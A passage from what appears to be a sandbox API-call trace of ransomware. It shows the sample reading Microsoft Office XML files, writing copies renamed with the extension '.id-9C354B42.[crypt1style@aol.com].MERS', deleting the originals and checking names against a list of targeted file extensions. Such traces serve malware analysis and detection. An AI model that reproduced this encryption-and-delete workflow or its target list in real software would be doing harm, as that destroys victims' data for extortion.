returned 1 [0044.445] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.445] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0044.446] GetLastError () returned 0x0 [0044.446] ReadFile (in: hFile=0x1c4, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x1861, lpOverlapped=0x0) returned 1 [0044.570] WriteFile (in: hFile=0x1ec, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x1870, lpOverlapped=0x0) returned 1 [0044.571] ReadFile (in: hFile=0x1c4, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.571] WriteFile (in: hFile=0x1ec, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0044.571] SetEndOfFile (hFile=0x1ec) returned 1 [0044.678] CloseHandle (hObject=0x1ec) returned 1 [0044.679] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.679] SetEndOfFile (hFile=0x1c4) returned 1 [0044.679] CloseHandle (hObject=0x1c4) returned 1 [0044.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0044.680] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 1 [0044.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0044.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0044.805] lstrlenW (lpString=".doc") returned 4 [0044.805] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.805] lstrlenW (lpString=".docx") returned 5 [0044.805] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0044.805] lstrlenW (lpString=".pdf") returned 4 [0044.805] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.805] lstrlenW (lpString=".xls") returned 4 [0044.805] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.805] lstrlenW (lpString=".xlsx") returned 5 [0044.805] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0044.805] lstrlenW (lpString=".ppt") returned 4 [0044.805] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0044.805] lstrlenW (lpString=".zip") returned 4 [0044.805] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.805] lstrlenW (lpString=".rar") returned 4 [0044.805] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.805] lstrlenW (lpString=".bz2") returned 4 [0044.806] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.806] lstrlenW (lpString=".7z") returned 3 [0044.806] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0044.806] lstrlenW (lpString=".dbf") returned 4 [0044.806] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0044.806] lstrlenW (lpString=".1cd") returned 4 [0044.806] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0044.806] lstrlenW (lpString=".jpg") returned 4 [0044.806] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0044.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0044.806] lstrlenW (lpString=".doc") returned 4 [0044.806] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.806] lstrlenW (lpString=".docx") returned 5 [0044.806] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0044.806] lstrlenW (lpString=".pdf") returned 4 [0044.806] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.806] lstrlenW (lpString=".xls") returned 4 [0044.806] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.806] lstrlenW (lpString=".xlsx") returned 5 [0044.806] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0044.806] lstrlenW (lpString=".ppt") returned 4 [0044.806] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0044.806] lstrlenW (lpString=".zip") returned 4 [0044.806] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.806] lstrlenW (lpString=".rar") returned 4 [0044.806] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.806] lstrlenW (lpString=".bz2") returned 4 [0044.806] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.806] lstrlenW (lpString=".7z") returned 3 [0044.806] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0044.806] lstrlenW (lpString=".dbf") returned 4 [0044.806] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0044.806] lstrlenW (lpString=".1cd") returned 4 [0044.806] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0044.807] lstrlenW (lpString=".jpg") returned 4 [0044.807] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.807] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0044.807] lstrlenW (lpString="WordMUI.XML") returned 11 [0044.807] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0044.807] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1800) returned 1 [0044.807] CloseHandle (hObject=0x214) returned 1 [0044.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 0x20 [0044.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0044.807] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0044.807] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.807] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.808] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0044.862] GetLastError () returned 0x0 [0044.862] ReadFile (in: hFile=0x214, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x708, lpOverlapped=0x0) returned 1 [0044.909] WriteFile (in: hFile=0x1d4, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x710, lpOverlapped=0x0) returned 1 [0044.910] ReadFile (in: hFile=0x214, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.910] WriteFile (in: hFile=0x1d4, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.910] SetEndOfFile (hFile=0x1d4) returned 1 [0044.910] CloseHandle (hObject=0x1d4) returned 1 [0044.910] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.910] SetEndOfFile (hFile=0x214) returned 1 [0044.911] CloseHandle (hObject=0x214) returned 1 [0044.911] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0044.911] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 1 [0044.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0044.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0044.912] lstrlenW (lpString=".doc") returned 4 [0044.912] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.912] lstrlenW (lpString=".docx") returned 5 [0044.912] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0044.919] lstrlenW (lpString=".pdf") returned 4 [0044.920] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.920] lstrlenW (lpString=".xls") returned 4 [0044.920] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.920] lstrlenW (lpString=".xlsx") returned 5 [0044.920] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0044.920] lstrlenW (lpString=".ppt") returned 4 [0044.920] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0044.920] lstrlenW (lpString=".zip") returned 4 [0044.920] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.920] lstrlenW (lpString=".rar") returned 4 [0044.920] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.920] lstrlenW (lpString=".bz2") returned 4 [0044.920] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.920] lstrlenW (lpString=".7z") returned 3 [0044.920] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0044.920] lstrlenW (lpString=".dbf") returned 4 [0044.920] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0044.920] lstrlenW (lpString=".1cd") returned 4 [0044.920] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0044.920] lstrlenW (lpString=".jpg") returned 4 [0044.920] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0044.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0044.920] lstrlenW (lpString=".doc") returned 4 [0044.920] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.920] lstrlenW (lpString=".docx") returned 5 [0044.920] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0044.920] lstrlenW (lpString=".pdf") returned 4 [0044.920] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.921] lstrlenW (lpString=".xls") returned 4 [0044.921] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.921] lstrlenW (lpString=".xlsx") returned 5 [0044.921] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0044.921] lstrlenW (lpString=".ppt") returned 4 [0044.921] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0044.921] lstrlenW (lpString=".zip") returned 4 [0044.921] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.921] lstrlenW (lpString=".rar") returned 4 [0044.921] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.921] lstrlenW (lpString=".bz2") returned 4 [0044.921] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.921] lstrlenW (lpString=".7z") returned 3 [0044.921] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0044.921] lstrlenW (lpString=".dbf") returned 4 [0044.921] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0044.921] lstrlenW (lpString=".1cd") returned 4 [0044.921] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0044.921] lstrlenW (lpString=".jpg") returned 4 [0044.921] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.921] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0044.922] lstrlenW (lpString="STOCKS.XML") returned 10 [0044.922] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0044.968] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2687) returned 1 [0044.968] CloseHandle (hObject=0x1e8) returned 1 [0044.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 0x20 [0044.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0044.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0044.969] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.969] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0044.969] GetLastError () returned 0x0 [0044.969] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0xa7f, lpOverlapped=0x0) returned 1 [0045.020] WriteFile (in: hFile=0x1a4, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xa80, lpOverlapped=0x0) returned 1 [0045.021] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.021] WriteFile (in: hFile=0x1a4, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0045.021] SetEndOfFile (hFile=0x1a4) returned 1 [0045.022] CloseHandle (hObject=0x1a4) returned 1 [0045.022] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.022] SetEndOfFile (hFile=0x1e8) returned 1 [0045.022] CloseHandle (hObject=0x1e8) returned 1 [0045.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0045.023] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 1 [0045.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0045.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0045.023] lstrlenW (lpString=".doc") returned 4 [0045.023] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.023] lstrlenW (lpString=".docx") returned 5 [0045.023] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0045.023] lstrlenW (lpString=".pdf") returned 4 [0045.023] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.023] lstrlenW (lpString=".xls") returned 4 [0045.023] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.023] lstrlenW (lpString=".xlsx") returned 5 [0045.023] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0045.023] lstrlenW (lpString=".ppt") returned 4 [0045.023] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0045.024] lstrlenW (lpString=".zip") returned 4 [0045.024] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.024] lstrlenW (lpString=".rar") returned 4 [0045.024] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.024] lstrlenW (lpString=".bz2") returned 4 [0045.024] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.024] lstrlenW (lpString=".7z") returned 3 [0045.024] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0045.024] lstrlenW (lpString=".dbf") returned 4 [0045.024] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0045.024] lstrlenW (lpString=".1cd") returned 4 [0045.024] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0045.024] lstrlenW (lpString=".jpg") returned 4 [0045.024] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0045.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0045.024] lstrlenW (lpString=".doc") returned 4 [0045.024] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.024] lstrlenW (lpString=".docx") returned 5 [0045.024] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0045.024] lstrlenW (lpString=".pdf") returned 4 [0045.024] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.024] lstrlenW (lpString=".xls") returned 4 [0045.024] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.024] lstrlenW (lpString=".xlsx") returned 5 [0045.024] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0045.024] lstrlenW (lpString=".ppt") returned 4 [0045.024] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0045.024] lstrlenW (lpString=".zip") returned 4 [0045.024] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.024] lstrlenW (lpString=".rar") returned 4 [0045.024] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.025] lstrlenW (lpString=".bz2") returned 4 [0045.025] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.025] lstrlenW (lpString=".7z") returned 3 [0045.025] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0045.025] lstrlenW (lpString=".dbf") returned 4 [0045.025] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0045.025] lstrlenW (lpString=".1cd") returned 4 [0045.025] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0045.025] lstrlenW (lpString=".jpg") returned 4 [0045.025] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.025] lstrcmpiW (lpString1=".XSL", lpString2=".MERS") returned 1 [0045.025] lstrlenW (lpString="BASMLA.XSL") returned 10 [0045.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0045.025] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=227311) returned 1 [0045.025] CloseHandle (hObject=0x1e8) returned 1 [0045.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 0x20 [0045.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft 